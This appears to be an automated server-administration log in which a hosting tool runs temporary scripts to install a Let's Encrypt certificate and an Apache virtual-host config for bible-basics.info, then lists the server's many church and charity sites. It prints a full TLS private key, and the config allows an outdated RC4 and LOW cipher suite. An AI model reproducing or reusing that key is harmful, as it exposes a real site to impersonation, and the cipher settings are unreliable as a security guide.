A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-23 06:00:40: 

chmod 755 /tmp/pkp498421; /tmp/pkp498421; rm /tmp/pkp498421

2026-04-23 06:00:40: 


dir=/etc/ssl/certs


2026-04-23 06:00:40: 

PUT: /tmp/pkp896822

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/bible-basics_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-23 06:00:40: 

chmod 755 /tmp/pkp896822; /tmp/pkp896822; rm /tmp/pkp896822

2026-04-23 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf 45

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-23 06:00:40: 

PUT: /tmp/pkp461802

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bible-basics_www_info.conf
TARGET=/etc/apache2/sites-enabled/bible-basics_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/bible-basics_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf= 1'
fi


2026-04-23 06:00:40: 

chmod 755 /tmp/pkp461802; /tmp/pkp461802; rm /tmp/pkp461802

2026-04-23 06:00:40: 




2026-04-23 06:00:40: 

PUT: /tmp/pkp215136

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-23 06:00:40: 

chmod 755 /tmp/pkp215136; /tmp/pkp215136; rm /tmp/pkp215136

2026-04-23 06:00:40: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-23 06:00:40: Establishing a connection
2026-04-23 06:00:40: 

PUT: /tmp/pkp748011

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-23 06:00:40: 

chmod 755 /tmp/pkp748011; /tmp/pkp748011; rm /tmp/pkp748011

2026-04-23 06:00:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-23 06:00:40: 

PUT: /tmp/pkp290918

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/bible-basics_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 06:00:40: 

chmod 755 /tmp/pkp290918; /tmp/pkp290918; rm /tmp/pkp290918

2026-04-23 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf	1420

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-23 06:00:40: 

PUT: /tmp/pkp509754

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 06:00:40: 

chmod 755 /tmp/pkp509754; /tmp/pkp509754; rm /tmp/pkp509754

2026-04-23 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt	5382
53:da:1e:7a:5d:b0:9d:09:64:25:83:c1:8b:cc:a1:ea

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBZU/7+p/2eDNcyefAdWqatjrMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDIzMDUwMjA3WhcNMjYwNzIyMDUwMjA2WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKQn4WggkTNZAMqybwTOYqUc9dLnsfk0zuimP5Bi5MAOFiXMwm1bNfu0KQmS
fD8i5nJmM9Gvv/nF5WmvfHtNLMYuLYDgTnEwXMtSmLcrFS3NCCowv7Eswvjm0c/5
ScBHHvkXWgFclZcOrHfshlpUh09Ov3IiclXMU2o6HklxhkGU6oiuebcO42XRaD/o
yZvF7BYJLvvQ4D1R17wfoBSEqQI73vEwJPsGLxsy5mqDIWKLGlSoUvLyf/XgS92v
NNu+YAZCPP+yihZBa4P8lvh6YQ9ZMMVRl+6YRjw6Q4entTl3LR7lZjnSv6nV2or1
ntushmEjbtfI+q/KIlei9Ey22LMCAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRY
nLJcZEzktARNZRSp1YfezxybRzAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWJpYmxlLWJhc2ljcy5pbmZvghV3d3cuYmli
bGUtYmFzaWNzLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAk
oCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMDguY3JsMIIBDAYKKwYBBAHW
eQIEAgSB/QSB+gD4AHYAyKPEf8ezrbk1awE/anoSbeM6TkOlxkb5l605dZkdz5oA
AAGduO0QjwAABAMARzBFAiEA4/aHb7b49XNYH+rxk/5bMF/ITIDLNXUcbIGq2fAU
bpkCIA+hZIv1sHEFf/CCDTHk2bSDDotqQS2XfL6rO/ftNzu9AH4AJuNkblhpISO8
ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMAAAGduO0QiAAIAAAFAAmJ/fEEAwBHMEUC
IEmDPmL1/SihMlBk/mE99jSdk1sfyUrRmKdbF4WO8SjwAiEAyA7lJS2v9N3CnHjJ
3hIaQBWPyslD/dcM0piF2ga1lckwDQYJKoZIhvcNAQELBQADggEBAJr0FTujxko2
UMS4EaetY8imxQ+6pCvJIy6NwyD419eklaVc4jfEgsUiF56+Cu1VPmfpSma//IzU
/owsF5cOTukwHaeqo+hwmeG+HH4KlsztzT50ac8+p3iEFkkICp20+A7NuJQPvYFn
cNe9/CrYwktZX45EEArRFzWqHPIPVLZmxQLXv+Hd8r6Tz83Zi+Ukq4VKqQtg7+YI
DUiXf1dteNH9QNABcjFNu5vVv5oGaJFymyTqrv5jUameWoBvAf9ZTD4IfXWrXK+7
qvTPrlGGaUvpInGlo6NYG/VEgApqgeYbkSFGEVnoVIIJL6U0b6MzY1dONcUCL5/f
LRbhjGsouoo=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCkJ+FoIJEzWQDK
sm8EzmKlHPXS57H5NM7opj+QYuTADhYlzMJtWzX7tCkJknw/IuZyZjPRr7/5xeVp
r3x7TSzGLi2A4E5xMFzLUpi3KxUtzQgqML+xLML45tHP+UnARx75F1oBXJWXDqx3
7IZaVIdPTr9yInJVzFNqOh5JcYZBlOqIrnm3DuNl0Wg/6MmbxewWCS770OA9Ude8
H6AUhKkCO97xMCT7Bi8bMuZqgyFiixpUqFLy8n/14EvdrzTbvmAGQjz/sooWQWuD
/Jb4emEPWTDFUZfumEY8OkOHp7U5dy0e5WY50r+p1dqK9Z7brIZhI27XyPqvyiJX
ovRMttizAgMBAAECggEAOJAdVTnTjnPel/l/05Ih327pLXD0nEAcA4I1aNUKqTqx
WvkBDZleMorTkR7OfRrTeRvKQzhh1/jeodn79KiVAvyqZTvlC490igK96G+J7qw1
YgRGKRCZZhZyuUzWotBe1cm8E7gJO3Gs7+2qJbn2ndculG9WIkYzf+jiwr/BWRsf
SR0mZP0F/kB5LbryzcEZB0d35sBcBFJ0GV/M5TMW7m0P9NMZhVlL8+fCXUUEYRff
YHF0gVkGZvUn4VzhBJWpWGctvPuZ/lGfa3zOhG5EBB082/tVE3T2mtjUVKXActoG
z+uHdkWDG8zxxlTjq6lSA8hcOoaQryHNmSuwQkEQAQKBgQDcVo8wgYE65r/L8SRN
0xvK4aikO9iWqQPfQ7MHe7xF2rQ1SqhBRIyW2AU3n+XjATWxcEZYwQ3YLPFZUEnA
uz5BSFwDGNVtcCxLmKY+NMwrhAIXO3x59CNv/tJBiK4iwEzpPTSBepCxJU1AiM/M
929kOHVS7h2BVSu4Hkvni6SUswKBgQC+uXmB0mlHmboTrab64VtDr5N/UfsFqoqX
3O82NSh5RBkPUTNcZUvwfeeTNaMwHiDTbbnS+/t3mumQgjuMu7Bebec+rxiGzeaI
568zrhwTvBKjoBhaXr0BDGqf354HdXD8Xy6H/pKNeKE032fAswEwnJo/VyvKAUgu
eEP3Ny6sAQKBgDBYndqaz+xIrVTmeHzLEZIWqZY/u2pzc3INvL6rm8gIEPqQgxKv
I9oFVD+8SgjhPxLL++OFmLASTHK4dzZe324bnnTfghUdQ9rih7emhhYWRQ8r8kgg
FZaBZ0kR4IOnhji3QUoXxp/X+3dpjY7/y+VFrhigPsEeGxWvMCCCN36ZAoGAX9XN
A3naIvtQ8ABrDldcx5ca83gbPY6jU4nVvZRagQzB1tuDhmL0FKT/Tw49sLkC35qc
LDMn+cKiqFV4XNAW4GwzLWFIXrxpodNhSwOq4hO3/fY9JnPCXxuBHFJ+Ettlabre
I8G8nE/IGUxE0yRfbbDTJQ7FVxzry0XtSPS2hAECgYEAzlR/bu5tj8iV4lXgbkBx
5qjq2Km8TS+7ROHkW847BPcZkkLmI2U8OZWrHmF04o5uN6OVrfWlQvdjjrsVxFCv
drYGolHN2D9FcMCE6xfW2Q8Ux9gZrlTkU37xO5eGxO4Y8xOaKmUviftlXIpWRspC
D3SJ+5GgsSyvurgFP9dcmT4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-23 06:00:40: Establishing a connection
2026-04-23 06:00:41: Establishing a connection
2026-04-23 06:00:41: 

PUT: /tmp/pkp182535

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_media/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-23 06:00:41: 

chmod 755 /tmp/pkp182535; /tmp/pkp182535; rm /tmp/pkp182535

2026-04-23 06:00:41: 


1


2026-04-23 06:00:41: Establishing a connection
2026-04-23 06:00:41: 

PUT: /tmp/pkp662163

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cat > GE3tIO9Vs7KkSe0UBXOzOnF63Jm9jGkA_yiInroMPwY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
